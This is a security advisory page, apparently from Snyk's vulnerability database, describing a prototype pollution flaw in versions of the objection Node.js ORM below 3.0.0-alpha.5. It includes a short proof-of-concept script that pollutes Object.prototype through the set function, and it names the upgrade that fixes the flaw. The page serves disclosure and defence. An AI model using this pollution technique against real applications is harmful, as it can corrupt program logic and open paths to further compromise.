objection@0.7.0 vulnerabilities

An SQL-friendly ORM for Node.js

  • latest version

    3.1.5

  • latest non vulnerable version

  • first published

    13 years ago

  • latest version published

    1 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the objection package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    objection is an An SQL-friendly ORM for Node.js

    Affected versions of this package are vulnerable to Prototype Pollution via set and zipObject functions in lib/utils/objectUtils.js.

    PoC

    var objectUtils = require("objection/lib/utils/objectUtils")
    console.log("Before: " + {}.polluted)
    let obj = {}
    objectUtils.set(obj, ['__proto__', 'polluted'], 'Pollution successful!')
    console.log("After: " + {}.polluted)
    

    How to fix Prototype Pollution?

    Upgrade objection to version 3.0.0-alpha.5 or higher.

    <3.0.0-alpha.5